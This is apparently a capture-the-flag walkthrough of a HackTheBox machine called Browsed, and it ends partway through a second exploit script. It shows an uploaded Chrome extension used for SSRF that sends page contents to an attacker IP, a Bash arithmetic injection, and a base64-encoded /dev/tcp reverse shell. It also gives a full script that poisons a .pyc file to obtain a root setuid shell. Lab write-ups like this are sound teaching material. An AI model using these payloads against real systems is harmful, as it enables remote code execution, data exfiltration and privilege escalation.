[2385:2385:0309/174914.906510:ERROR:zygote_communication_linux.cc(296)] Failed to send GetTerminationStatus message to zygote
[2385:2385:0309/174914.906541:WARNING:zygote_communication_linux.cc(308)] Socket closed prematurely.

These are the stderr logs from a headless launch of Chrome. It loads an extension from /tmp/extension_69af0810d42183.82114524:

[2385:2385:0309/174908.746864:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/verified_contents.json": No such file or directory (2)
[2385:2385:0309/174908.746937:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/computed_hashes.json": No such file or directory (2)
[2385:2385:0309/174908.746970:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata/generated_indexed_rulesets": No such file or directory (2)
[2385:2385:0309/174908.747028:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/tmp/extension_69af0810d42183.82114524/_metadata": No such file or directory (2)

It’s failing to read some metadata files, and the fact that Chrome is checking them shows it’s attempting to load the extension. Later the extension content script is injected into a page:

[2450:2450:0309/174909.983665:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           bcihhgmnnmkehdadnllggphpnmjapeag
  frame:                  0x21240044c7b8
  URL:                    
  context_type:           CONTENT_SCRIPT
  effective extension id: bcihhgmnnmkehdadnllggphpnmjapeag
  effective context type: CONTENT_SCRIPT
[2450:2450:0309/174909.984089:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED

When the browser is going to visit a page, it generates a NetworkDelegate::NotifyBeforeURLRequest log. For example, the browser visits http://browsedinternals.htb:

[2415:2420:0309/174909.381820:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/

I can get a list of all the visited URLs:

oxdf@hacky$ cat logs.txt | grep NetworkDelegate::NotifyBeforeURLRequest | grep -oP 'https?://\S+'
http://clients2.google.com/time/1/current?cup2key=8:JX33jNjpBpjoq9T1tCczcqLJ8zcvmi5RAhKnzLTxOmo&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
http://browsedinternals.htb/
http://localhost/
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
http://localhost/assets/css/main.css
http://browsedinternals.htb/assets/css/index.css?v=1.24.5
http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5
http://browsedinternals.htb/assets/img/logo.svg
http://localhost/images/pic01.jpg
http://localhost/images/pic02.jpg
http://localhost/images/pic03.jpg
http://browsedinternals.htb/assets/js/webcomponents.js?v=1.24.5
http://browsedinternals.htb/assets/js/index.js?v=1.24.5
http://localhost/assets/css/fontawesome-all.min.css
https://fonts.googleapis.com/css?family=Roboto:100,300,100italic,300italic
http://localhost/assets/js/jquery.min.js
http://localhost/assets/js/jquery.scrolly.min.js
http://localhost/assets/js/jquery.dropotron.min.js
http://localhost/assets/js/jquery.scrollex.min.js
http://localhost/assets/js/browser.min.js
http://localhost/assets/js/breakpoints.min.js
http://localhost/assets/js/util.js
http://localhost/assets/js/main.js
https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47

localhost has the same files I found visiting the website above. browsedinternals.htb looks like an instance of Gitea, based on the loaded CSS.

This line shows that Chrome is launched with remote debugging enabled:

DevTools listening on ws://127.0.0.1:35435/devtools/browser/f9ca757b-3f14-4a45-987a-0a1afdf851a8

Extensions

The example extensions are Zip archives, each with a manifest.json and some supporting files. For example, replaceimages:

oxdf@hacky$ unzip replaceimages.zip -d replaceimages/
Archive:  replaceimages.zip
  inflating: replaceimages/content.js  
  inflating: replaceimages/manifest.json  

manifest.json describes the plugin and points to the other files:

{
  "manifest_version": 3,
  "name": "Replace Images",
  "version": "1.0.0",
  "description": "Replaces every image on a page with one from a URL.",
  "permissions": ["scripting"],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}

In this case, for all users when the page idles, it will inject content.js into the page:

// use an image of your liking !
// const replacementImageUrl = "Your favourite image here"
const replacementImageUrl = "https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47"

document.querySelectorAll('img').forEach(img => {
  img.src = replacementImageUrl;
  img.srcset = "";
});

This finds all img tags and replaces the source with an image from Reddit:

CDN media

fontify and timer have a bit more:

oxdf@hacky$ mkdir timer
oxdf@hacky$ unzip timer.zip -d timer/
Archive:  timer.zip
  inflating: timer/manifest.json     
  inflating: timer/popup.html        
  inflating: timer/popup.js          
  inflating: timer/style.css         
oxdf@hacky$ mkdir fontify
oxdf@hacky$ unzip fontify.zip -d fontify
Archive:  fontify.zip
  inflating: fontify/content.js      
  inflating: fontify/manifest.json   
  inflating: fontify/popup.html      
  inflating: fontify/popup.js        
  inflating: fontify/style.css  

fontify’s manifest.json shows not only injected JavaScript, but also has a popup:

{
  "manifest_version": 3,
  "name": "Font Switcher",
  "version": "2.0.0",
  "description": "Choose a font to apply to all websites!",
  "permissions": [
    "storage",
    "scripting"
  ],
  "action": {
    "default_popup": "popup.html",
    "default_title": "Choose your font"
  },
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "content.js"
      ],
      "run_at": "document_idle"
    }
  ]
}

popup.html is a simple selector:

<!DOCTYPE html>
<html>
  <head>
    <title>Font Switcher</title>
    <link rel="stylesheet" href="style.css">
  </head>
  <body>
    <h2>Select a Font</h2>
    <select id="fontSelector">
      <option value="Comic Sans MS">Comic Sans MS</option>
      <option value="Papyrus">Papyrus</option>
      <option value="Impact">Impact</option>
      <option value="Courier New">Courier New</option>
      <option value="Times New Roman">Times New Roman</option>
      <option value="Arial">Arial</option>
    </select>
    <script src="popup.js"></script>
  </body>
</html>

popup.js saves the selection on change to storage:

const fontSelector = document.getElementById("fontSelector");

chrome.storage.sync.get("selectedFont", ({ selectedFont }) => {
  if (selectedFont) {
    fontSelector.value = selectedFont;
  }
});

fontSelector.addEventListener("change", () => {
  const selectedFont = fontSelector.value;
  chrome.storage.sync.set({ selectedFont }, () => {
    chrome.tabs.query({ active: true, currentWindow: true }, tabs => {
      chrome.scripting.executeScript({
        target: { tabId: tabs[0].id },
        func: (font) => {
          const style = document.createElement("style");
          style.innerText = `* { font-family: '${font}' !important; }`;
          document.head.appendChild(style);
        },
        args: [selectedFont]
      });
    });
  });
});

And content.js gets that value and sets the font of everything to the selected font:

// Apply saved font
chrome.storage.sync.get("selectedFont", ({ selectedFont }) => {
  if (!selectedFont) return;
  const style = document.createElement("style");
  style.innerText = `* { font-family: '${selectedFont}' !important; }`;
  document.head.appendChild(style);
});

browsedinternals.htb

Site

I’ll add browsedinternals.htb to my hosts file:

10.129.3.225 browsedinternals.htb

Visiting the site shows an instance of Gitea:

image-20260309174120721 expand

The Explore page shows a public repo:

image-20260309174414478

It has a Python app.py, as well as a brief README, a shell script, and some folders:

image-20260309174504914

Tech Stack

The HTTP response headers show nginx:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 09 Mar 2026 21:48:24 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Cache-Control: max-age=0, private, must-revalidate, no-transform
Set-Cookie: i_like_gitea=8982103990c3a8da; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: _csrf=dOWXuDay2l7JvgEb8irmyxNGMX86MTc3MzA5MjkwNDMwNTkyNDcxNQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Content-Length: 13912

There are also a few Gitea cookies set. The 404 page is the default Gitea 404:

image-20260309175008315

The page footer shows it’s Version 1.24.5.

Source Code

Get Repo

I’ll clone the repo to my host to take a look:

oxdf@hacky$ git clone http://browsedinternals.htb/larry/MarkdownPreview.git
Cloning into 'MarkdownPreview'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 15 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (15/15), done.

The file structure is:

📁 MarkdownPreview/
├── 📄 app.py
├── 📁 backups/
│ ├── 📄 data_backup_20250317_121551.tar.gz
│ └── 📄 data_backup_20250317_123946.tar.gz
├── 📁 files/
│ └── 📄 cf23093c09e7478382e716e31d06b3ef.html
├── 📁 log/
│ ├── 📄 routine.log
│ └── 📄 routine.log.gz
├── 📄 README.md
└── 📄 routines.sh

app.py

app.py is a Python Flask application:

from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename

import markdown
import os, subprocess
import uuid

app = Flask(__name__)
FILES_DIR = "files"

# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)

@app.route('/')
def index():
...[snip]...

@app.route('/submit', methods=['POST'])
def submit():
...[snip]...

@app.route('/files')
def list_files():
...[snip]...

@app.route('/routines/<rid>')
def routines(rid):
...[snip]...

@app.route('/view/<filename>')
def view_file(filename):
...[snip]...

# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

The application listens on localhost:5000 and sets up five routes:

  • / shows a basic HTML page and form for submitting markdown.
  • /submit takes a POST request to upload markdown, which is converted to HTML and saved with a random name to the files directory.
  • /files shows a page that displays the saved HTML files.
  • /view/<filename> shows the HTML file.
  • /routines/<rid> calls a shell script, routines.sh, with the given rid as its input.

routines.sh

routines.sh runs some basic maintenance tasks based on the given ID. The ID is checked against the numbers 0 - 3, and then the appropriate shell commands are run, or an error is printed.

#!/bin/bash

ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

elif [[ "$1" -eq 1 ]]; then
  # Routine 1: Backup data
  tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
  log_action "Routine 1: Data backed up to $BACKUP_DIR."
  echo "Backup completed."

elif [[ "$1" -eq 2 ]]; then
  # Routine 2: Rotate logs
  find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
  log_action "Routine 2: Log files compressed."
  echo "Logs rotated."

elif [[ "$1" -eq 3 ]]; then
  # Routine 3: System info dump
  uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
  log_action "Routine 3: System info dumped."
  echo "System info saved."

else
  log_action "Unknown routine ID: $1"
  echo "Routine ID not implemented."
fi

The only place the user input is used is in the evaluation of which mode to run.

Shell as larry

SSRF Via Extension

I want to get access to localhost:5000 on Browsed, so I’ll use the extension sandbox. I’ll create a manifest.json:

{
  "manifest_version": 3,
  "name": "Read Localhost port 5000",
  "version": "1.0.0",
  "description": "Grab the page on localhost:5000 and return it to me.",
  "permissions": ["scripting"],
  "host_permissions": ["<all_urls>"],
  "background": {
    "service_worker": "background.js"
  }
}

There are a couple of differences here besides the unimportant metadata. I’m running the JavaScript as a background worker rather than a content script, where it would be subject to CORS policy. Background/service workers can access any URL listed in the host_permissions settings.

I’ll make a simple JavaScript file (with the filename matching the service_worker defined in the JSON above) to read http://localhost:5000 and return it to me:

fetch("http://localhost:5000/")
  .then(r => r.text())
  .then(d => fetch("http://10.10.14.61/?d=" + btoa(d)));

I’ll create the zip archive from the directory containing both files to make sure there are no directories in the zip:

oxdf@hacky$ zip -r ../ssrf1.zip *
  adding: background.js (deflated 67%)
  adding: manifest.json (deflated 71%)

On uploading this zip to Browsed, I get a hit at my Python webserver almost immediately:

10.129.3.225 - - [09/Mar/2026 23:04:06] "GET /?d=CiAgICA8aDE+TWFya2Rvd24gUHJldmlld2VyPC9oMT4KICAgIDxmb3JtIGFjdGlvbj0iL3N1Ym1pdCIgbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgcm93cz0iMTAiIGNvbHM9IjgwIj48L3RleHRhcmVhPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVuZGVyICYgU2F2ZSI+CiAgICA8L2Zvcm0+CiAgICA8cD48YSBocmVmPSIvZmlsZXMiPlZpZXcgc2F2ZWQgSFRNTCBmaWxlczwvYT48L3A+CiAgICA= HTTP/1.1" 200 -

That decodes to the page:

oxdf@hacky$ echo CiAgICA8aDE+TWFya2Rvd24gUHJldmlld2VyPC9oMT4KICAgIDxmb3JtIGFjdGlvbj0iL3N1Ym1pdCIgbWV0aG9kPSJQT1NUIj4KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgcm93cz0iMTAiIGNvbHM9IjgwIj48L3RleHRhcmVhPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVuZGVyICYgU2F2ZSI+CiAgICA8L2Zvcm0+CiAgICA8cD48YSBocmVmPSIvZmlsZXMiPlZpZXcgc2F2ZWQgSFRNTCBmaWxlczwvYT48L3A+CiAgICA= | base64 -d

    <h1>Markdown Previewer</h1>
    <form action="/submit" method="POST">
        <textarea name="content" rows="10" cols="80"></textarea><br>
        <input type="submit" value="Render & Save">
    </form>
    <p><a href="/files">View saved HTML files</a></p>

Bash Arithmetic Evaluation Background

The vulnerability in this script is the lines that compare the input to numbers using -eq, such as:

if [[ "$1" -eq 0 ]]; then

I’ve shown Bash arithmetic injections before in HTB Interface and HTB Eureka. This post talks about the technique in general. If I start with an example script:

#!/bin/bash

NUM="$1"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi

It does what I would expect:

oxdf@hacky$ bash ex.sh 100
OK
oxdf@hacky$ bash ex.sh 101
NG

However, because -eq triggers Bash arithmetic evaluation, and Bash arithmetic evaluates array subscript expressions (including command substitutions within them), I can get it to run arbitrary commands:

oxdf@hacky$ bash ex.sh 'a[$(id)]'
ex.sh: line 5: uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf): syntax error in expression (error token is "(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf)")

Remote Injection

POC

Putting the SSRF and the Bash arithmetic evaluation injection together, I should be able to run commands on the remote server. I’ll use the same manifest.json (updating the name and description if I want to), and update background.js:

fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(id)]"))
  .then(r => r.text())
  .then(d => fetch("http://10.10.14.61/?d=" + btoa(d)));

When I package this and send it, the response back is:

10.129.3.225 - - [10/Mar/2026 00:46:34] "GET /?d=Um91dGluZSBleGVjdXRlZCAh HTTP/1.1" 200 -

That decodes to:

oxdf@hacky$ echo Um91dGluZSBleGVjdXRlZCAh | base64 -d
Routine executed !

The output of the script is never sent back:

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

I’ll update background.js to ping my host:

fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(ping -c 1 10.10.14.61)]"));

With sudo tcpdump -ni tun0 icmp listening, I’ll upload the new extension, and this time it works:

00:49:28.840352 IP 10.129.3.225 > 10.10.14.61: ICMP echo request, id 5396, seq 1, length 64
00:49:28.840382 IP 10.10.14.61 > 10.129.3.225: ICMP echo reply, id 5396, seq 1, length 64

That’s RCE on the internal server!

Shell

I’ll create a base64-encoded bash reverse shell back to my host:

oxdf@hacky$ echo 'bash  -i >& /dev/tcp/10.10.14.61/443  0>&1  ' | base64 
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICA

I’ve added some spaces so that the resulting base64 has no symbols.

I’ll update background.js:

fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICAK | base64 -d | bash)]"));

I’ll zip this:

oxdf@hacky$ zip -r ../shell.zip *
  adding: background.js (deflated 6%)
  adding: manifest.json (deflated 72%)

And on submitting it:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.3.225 42078
bash: cannot set terminal process group (1437): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$

I’ll upgrade my shell using the standard trick:

larry@browsed:~/markdownPreview$ script /dev/null -c bash 
script /dev/null -c bash
Script started, output log file is '/dev/null'.
larry@browsed:~/markdownPreview$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
larry@browsed:~/markdownPreview$

And grab user.txt:

larry@browsed:~$ cat user.txt
c310beb3************************

SSH

There’s also an SSH keypair in larry’s home directory. The public key is already in larry’s authorized_keys file:

larry@browsed:~/.ssh$ cat id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINlkhk8FEXwXNCOe06dt3BiJIti0nZWQHBABLy8gq3Ov larry@browsed
larry@browsed:~/.ssh$ cat authorized_keys 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINlkhk8FEXwXNCOe06dt3BiJIti0nZWQHBABLy8gq3Ov larry@browsed

I’ll grab the private key as a save point:

larry@browsed:~/.ssh$ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...[snip]...
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----

And connect:

oxdf@hacky$ ssh -i ~/keys/browsed-larry larry@10.129.3.225
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)
...[snip]...
larry@browsed:~$

Shell as root

Enumeration

Users

The larry user’s home directory is a standard Ubuntu home directory:

larry@browsed:~$ ls -la
total 56
drwxr-x--- 9 larry larry 4096 Jan  6 11:11 .
drwxr-xr-x 4 root  root  4096 Jan  6 10:28 ..
lrwxrwxrwx 1 root  root     9 Dec 29 09:55 .bash_history -> /dev/null
-rw-r--r-- 1 larry larry  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 larry larry 3771 Mar 31  2024 .bashrc
drwx------ 4 larry larry 4096 Jan  6 10:28 .cache
drwx------ 3 larry larry 4096 Jan  6 10:28 .config
-rw-rw-r-- 1 larry larry   36 Aug 17  2025 .gitconfig
drwx------ 3 larry larry 4096 Jan  6 10:28 .gnupg
drwxrwxr-x 3 larry larry 4096 Jan  6 10:28 .local
drwxrwxr-x 9 larry larry 4096 Jan  6 10:28 markdownPreview
drwx------ 3 larry larry 4096 Jan  6 10:28 .pki
-rw-r--r-- 1 larry larry  807 Mar 31  2024 .profile
lrwxrwxrwx 1 larry larry    9 Aug 17  2025 .python_history -> /dev/null
drwx------ 2 larry larry 4096 Jan  6 10:28 .ssh
-rw-r----- 1 root  larry   33 Mar  9 15:19 user.txt

I already mentioned the key pair in .ssh. The .pki directory contains Chrome/Chromium’s NSS certificate database (cert9.db, key4.db, pkcs11.txt). It’s created automatically when Chrome runs on this system, which makes sense since the bot is running Chrome to process uploaded extensions. It’s not something interesting for exploitation, just a standard Chrome artifact. .gnupg is the GnuPG directory that’s created when tools like apt invoke GPG.

The only other user with a home directory in /home is git:

larry@browsed:/home$ ls
git  larry

That lines up with users with shells set in passwd:

larry@browsed:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
larry:x:1000:1000:larry:/home/larry:/bin/bash
git:x:110:110:Git Version Control,,,:/home/git:/bin/bash

larry can’t access git.

larry can run a Python script named extension_tool.py as root using sudo:

larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

Filesystem

The filesystem root is pretty standard:

larry@browsed:/$ ls
bin                lib                proc                sys
bin.usr-is-merged  lib64              root                tmp
boot               lib.usr-is-merged  run                 usr
cdrom              lost+found         sbin                var
dev                media              sbin.usr-is-merged
etc                mnt                snap
home               opt                srv

The .usr-is-merged directories are marker directories from Ubuntu’s usrmerge transition. Modern Ubuntu merges /bin, /lib, and /sbin into /usr/bin, /usr/lib, and /usr/sbin (with symlinks at the old locations). The .usr-is-merged directories are empty sentinel directories that indicate the merge has been completed.

/opt shows Chrome, as well as another directory for the extension tool:

larry@browsed:/$ ls opt/
chrome-linux64  extensiontool

extensiontool

The extensiontool project directory has four objects:

larry@browsed:/opt/extensiontool$ ls -l
total 16
drwxrwxr-x 5 root root 4096 Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__

The extensions directory has directories for the three example extensions from the site:

larry@browsed:/opt/extensiontool$ ls extensions/
Fontify  ReplaceImages  Timer
larry@browsed:/opt/extensiontool$ ls extensions/Fontify/
content.js  manifest.json  popup.html  popup.js  style.css

The __pycache__ directory is empty:

larry@browsed:/opt/extensiontool$ ls -la __pycache__/
total 8
drwxrwxrwx 2 root root 4096 Dec 11 07:57 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..

If I run sudo /opt/extensiontool/extension_tool.py, a .pyc file will be created in __pycache__:

larry@browsed:/opt/extensiontool$ ls -la __pycache__/
total 12
drwxrwxrwx 2 root root 4096 Mar 10 11:55 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
-rw-r--r-- 1 root root 1880 Mar 10 11:55 extension_utils.cpython-312.pyc

The most important thing to note about __pycache__ is that it’s world writable. I’ll come back to that later.

The general outline of extension_tool.py is:

#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def bump_version(data, path, level='patch'):
...[snip]...

def package_extension(source_dir, output_file):
...[snip]...

def main():
    parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
    parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
    parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
    parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
    parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")

    args = parser.parse_args()

    if args.clean:
        clean_temp_files(args.clean)

    args.ext = os.path.basename(args.ext)
    if not (args.ext in os.listdir(EXTENSION_DIR)):
        print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
        exit(1)

    extension_path = os.path.join(EXTENSION_DIR, args.ext)
    manifest_path = os.path.join(extension_path, 'manifest.json')

    manifest_data = validate_manifest(manifest_path)

    # Possibly bump version
    if (args.bump):
        bump_version(manifest_data, manifest_path, args.bump)
    else:
        print('[-] Skipping version bumping')

    # Package the extension
    if (args.zip):
        package_extension(extension_path, args.zip)
    else:
        print('[-] Skipping packaging')


if __name__ == '__main__':
    main()

It takes an extension that must be one of the directory names in extensions, and then performs one or more actions of bumping a version, creating a zip, and removing temp files.

extension_utils.py holds two functions, validate_manifest and clean_temp_files. Exactly what they do isn’t super important.

Python Cache Hijack

PyCache Background

When I run python script.py, the ASCII Python code is first converted to Python bytecode and then it’s executed. When modules are imported, that bytecode is often saved in the __pycache__ directory so that the next time it’s imported, it’s already available in that format to save time. Real Python has a really nice article with a lot of background on this.

The article also has a nice description of What’s Inside a Cached .pyc File. It starts with a header, which can take two formats. It needs a way to know if the corresponding source code has changed. It does that either by storing a timestamp of when it was created (to compare to the timestamp of the source file), or a hash of the source file.

The timestamp version has the following format:

Offset Field Size Field Description
0 4 Magic number Identifies the Python version
4 4 Bit field Filled with zeros
8 4 Timestamp The time of .py file’s modification
12 4 File size Concerns the source .py file

The hash-based version looks like:

Offset Field Size Field Description
0 4 Magic number Identifies the Python version
4 4 Bit field Equals 1 (unchecked) or 3 (checked)
8 8 Hash value Source code’s hash value

Either way, the header is 16 bytes, followed by the code object as serialized with the marshal module.

Strategy

The __pycache__ directory is writable, which means I can update the .pyc file in it. Then, when I run the script as root, my .pyc file will be run as root.

The naturally generated .pyc has the following header:

larry@browsed:/opt/extensiontool$ xxd __pycache__/extension_utils.cpython-312.pyc | head -1
00000000: cb0d 0d0a 0000 0000 d3e8 df67 dd04 0000  ...........g....

That breaks down to:

Offset Field Size Field Value
0 4 Magic number 0x0a0d0dcb = Magic number for CPython 3.12
4 4 Bit field Filled with zeros
8 4 Timestamp 0x67dfe8d3 = 1742727379 = Sunday, March 23, 2025 at 10:56:19 AM
12 4 File size 0x4dd = 1245, which matches the size of extension_utils.py

The timestamp matches the modify time on extension_utils.py:

larry@browsed:/opt/extensiontool$ stat extension_utils.py 
  File: extension_utils.py
  Size: 1245            Blocks: 8          IO Block: 4096   regular file
Device: 252,0   Inode: 8541        Links: 1
Access: (0664/-rw-rw-r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2026-03-10 11:55:34.438349151 +0000
Modify: 2025-03-23 10:56:19.000000000 +0000
Change: 2025-08-17 12:55:02.920923490 +0000
 Birth: 2025-08-17 12:55:02.920923490 +0000

Exploit

I’m going to write a Python script to abuse this setup. My final exploit is:

import marshal
import subprocess
from pathlib import Path


BASE_DIR = Path("/opt/extensiontool")

print('[*] Running extension_tool.py to ensure .pyc files exist')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)

print('[*] Reading legit header from .pyc')
pyc = BASE_DIR / '__pycache__/extension_utils.cpython-312.pyc'
raw_header = pyc.read_bytes()[:16]

print('[*] Creating poisoned source code')
orig = BASE_DIR / 'extension_utils.py'
orig_src = orig.read_text()
poisoned_src = orig_src + '''

import os
os.system('cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf')
'''

print('[*] Compiling poisoned source and overwriting .pyc')
code = compile(poisoned_src, BASE_DIR / 'extension_utils.py', 'exec')
pyc.unlink()
pyc.write_bytes(raw_header + marshal.dumps(code))

print('[*] Running extension_tool.py with poisoned .pyc')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)

shell = Path('/tmp/0xdf')
if shell.exists():
    print('[+] SetUID / SetGID bash exists. Starting root shell.')
    subprocess.run(['/tmp/0xdf', '-p'])
else:
    print('[-] Exploit failed')

It runs the program to make sure that the .pyc file exists (there is a cleanup script moving pretty aggressively). Then it gets the header from that file to reuse. It reads the source code for extension_utils.py, and adds code to the end that will create a SetUID / SetGID bash. Then it compiles that and dumps the header and bytecode to the .pyc file. I need to remove it first, as the legit copy is not writable by larry. But because the directory is world-writable, it’s easily removed, and then a new file is written. Finally, my code checks for the existence of /tmp/0xdf, and calls the shell.

It works:

larry@browsed:/opt/extensiontool$ python3.12 /dev/shm/poison.py
[*] Running extension_tool.py to ensure .pyc files exist
[*] Reading legit header from .pyc
[*] Creating poisoned source code
[*] Compiling poisoned source and overwriting .pyc
[*] Running extension_tool.py with poisoned .pyc
[+] SetUID / SetGID bash exists. Starting root shell.
0xdf-5.2#

I’ll grab the root flag:

0xdf-5.2# cat /root/root.txt
cecaf576************************

I can make a prettier version of the exploit that parses the header and prints it using code from the Real Python article:

import marshal
import py_compile
import subprocess
from datetime import datetime, timezone
from dis import dis
from pathlib import Path
from types import SimpleNamespace
from py_compile import PycInvalidationMode


def parse_header(header):
    metadata = SimpleNamespace()
    metadata.magic_number = header[0:4]
    metadata.magic_int = int.from_bytes(header[0:4][:2], "little")
    metadata.python_version = f"3.{(metadata.magic_int - 2900) // 50}"
    metadata.bit_field = int.from_bytes(header[4:8], "little")
    metadata.pyc_type = {
        0: PycInvalidationMode.TIMESTAMP,
        1: PycInvalidationMode.UNCHECKED_HASH,
        3: PycInvalidationMode.CHECKED_HASH,
    }.get(metadata.bit_field)
    if metadata.pyc_type is PycInvalidationMode.TIMESTAMP:
        metadata.timestamp = datetime.fromtimestamp(
            int.from_bytes(header[8:12], "little"),
            timezone.utc,
        )
        metadata.file_size = int.from_bytes(header[12:16], "little")
    else:
        metadata.hash_value = header[8:16]
    return metadata

BASE_DIR = Path("/opt/extensiontool")

print('[*] Running extension_tool.py to ensure .pyc files exist')
subprocess.run(['sudo', BASE_DIR / 'extension_tool.py'], capture_output=True)

print('[*] Reading legit header from .pyc')
pyc = BASE_DIR / '__pycache__/extension_utils.cpython-312.pyc'
raw_header = pyc.read_bytes()[:16]
header = parse_header(raw_header)
for k,v in vars(header).items():
    print(f"    {k}: {v}")

print('[*] Creating poisoned source code')
orig = BASE_DIR / 'extension_utils.py'
orig_src = orig.read_text()
poisoned_src = orig_src + '''

import os
